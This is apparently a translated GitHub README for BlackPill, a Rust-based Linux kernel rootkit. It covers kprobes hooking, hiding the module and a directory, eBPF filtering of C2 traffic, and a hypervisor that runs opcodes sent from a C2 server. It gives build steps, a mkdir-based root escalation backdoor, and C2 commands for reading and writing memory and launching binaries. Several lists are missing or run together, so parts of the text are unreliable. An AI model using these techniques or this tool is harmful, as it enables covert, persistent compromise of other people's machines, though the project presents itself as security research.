
Руткит для ядра Linux на Rust, использующий собственный гипервизор 2-го типа, а также программы eBPF XDP и TC.
BlackPill — это скрытный Linux-руткит, написанный на Rust.
Руткит состоит из нескольких модулей (имеются в виду модули Rust, а не модули ядра):
Архитектура выглядит следующим образом:

А вот как вредоносный код выполняется от C2 до гостевой VM:

C2 отправляет руткиту специально сформированные ассемблерные мнемоники x86_64, которые затем передаются гостевой VM для выполнения. Гостевая VM изолирована от хоста и может использоваться для выполнения вредоносного кода.
Ядро не видит входящие вредоносные пакеты, поскольку они отфильтровываются программой eBPF XDP и отправляются в LKM-модуль, а исходящие пакеты модифицируются программой eBPF TC.
[!IMPORTANT]
Этот проект всё ещё находится в разработке. Работают не все функции!
Не стесняйтесь отправлять issue или pull request.
Хукинг — это фундаментальная возможность руткита, реализованная с помощью kprobes в ядре Linux. Данная техника перехватывает и перенаправляет выполнение системных функций для мониторинга или изменения их поведения. В контексте этого руткита kprobes предоставляет мощный механизм взаимодействия с функциями ядра без прямого изменения исходного кода.
Для обеспечения скрытности руткит использует два основных механизма антиобнаружения:
Удаление модуля из списка модулей ядра
Когда модуль ядра загружается, он добавляется в список модулей ядра, который виден через такие инструменты, как lsmod или /proc/modules. Чтобы предотвратить обнаружение:
Хукинг функции filldir64 для скрытия определённой директории
Для сокрытия файлов, используемых руткитом, реализован хук на функцию filldir64. Эта функция вызывается, когда процесс читает содержимое директории (например, через системные вызовы getdents или readdir).
filldir64 с помощью kprobes./BLACKPILL-BLACKPILL (используемой для хранения критически важных файлов руткита), она отфильтровывается и не возвращается пользователю.Наш простой гипервизор был реализован следующим образом:
Начальная конфигурация системы
Вход в режим VMX или SVM
Управление переходами между хостом и гостевой системой
Создание гостевой системы
Связь
Персистентность — это критически важная возможность любого руткита, позволяющая ему сохранять контроль над целевой системой даже после перезагрузки.
В текущей реализации механизм персистентности демонстрирует свою функциональность, создавая тестовый файл в файловой системе с помощью команды /bin/touch. Это действие-заглушка показывает способность руткита выполнять привилегированные операции и может быть расширено для реализации более продвинутых стратегий персистентности.
Сейчас это бесполезно, поскольку наш приоритет — не создание руткита уровня APT, а скорее исследование менее распространённых концепций.
Перед компиляцией руткита необходимо выполнить несколько шагов. Окружение разработки состоит из:
Начните с клонирования репозитория и его подмодулей (shallow):
git clone [email protected]:DualHorizon/blackpill.git --recursive --depth 1
В дистрибутиве на основе Arch:
sudo pacman -S qemu-base qemu-desktop docker grub
В дистрибутиве Linux на основе Arch установите Rust и другие зависимости:
sudo pacman -S rust rust-src rust-bindgen
sudo pacman -S clang lld llvm
Затем нам понадобятся исходники Rust и bindgen:
rustup component add rust-src clippy rustfmt
cargo install --locked bindgen-cli
Убедитесь, что вы можете начать компиляцию ядра с Rust, выполнив в папке linux/:
$ cd blackpill
$ pushd linux
$ make LLVM=1 rustavailable
Rust is available!
$ popd
Запустите задачу первичной настройки, которая конфигурирует и компилирует ядро:
make first-time-setup
[!IMPORTANT]
Если вам будет предложено настроить параметры, нажимайте Enter каждый раз.
Вы можете скомпилировать Rust-модуль ядра (out-of-tree) с помощью:
make
Запустите VM с помощью:
make vm
Внутри VM вы автоматически вошли в систему как root. Вы можете включить модуль:
$ modprobe blackpill
# you can check kernel logs with
$ dmesg
После запуска VM вы можете использовать команду выше для повышения своих привилегий:
mkdir ImFeelingRootNow_<PID>
Замените <PID> на идентификатор процесса, которому вы хотите повысить привилегии.
Этот простой C2 отправляет x86-64 опкоды на заражённую машину через UDP и принимает TCP-пакеты. Его функции сейчас ограничены низкоуровневым взаимодействием с машиной, но могут предоставить множество практических применений с дополнительными обёртками.
Настройте python-клиент:
cd blackpill-c2
poetry install
poetry shell
python client.py
После запуска клиента с вашими аргументами ([ip] [port]) вы должны увидеть:
$ python client.py 0.0.0.0 1339
Connected to rootkit!
Затем вы можете использовать команду help для отображения доступных команд:
blackpill: help
Available Commands
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Command ┃ Description ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ read_virt_memory <address> │ Read 4 bytes (32 bits) memory at 'address' │
│ write_virt_memory <address> <value> │ Write 4 bytes (32 bits) memory at 'address' │
│ launch_userland_binary <path> │ Launch a userland binary at 'path' │
│ change_msr <msr> <value> │ Change the value of a Model Specific Register (MSR) │
│ read_phys_memory <address> <value> │ Read 4 bytes (32 bits) of physical memory at 'address' │
│ write_phys_memory <address> <value> │ Write 4 bytes (32 bits) of physical memory at 'address' │
│ stop_execution │ Stop the execution of the guest VM │
│ change_vmcs_field <field> <value> │ Change a VMCS field to 'value' │
│ help │ Show this help message │
└─────────────────────────────────────┴─────────────────────────────────────────────────────────┘
Настройка окружения:
Использование eBPF XDP и TC программ для модификации входящего и исходящего сетевого трафика
Чтобы нормализовать наши вредоносные сетевые коммуникации, мы используем программы eBPF XDP (eXpress Data Path) и TC (Traffic Control). Благодаря этому мы можем: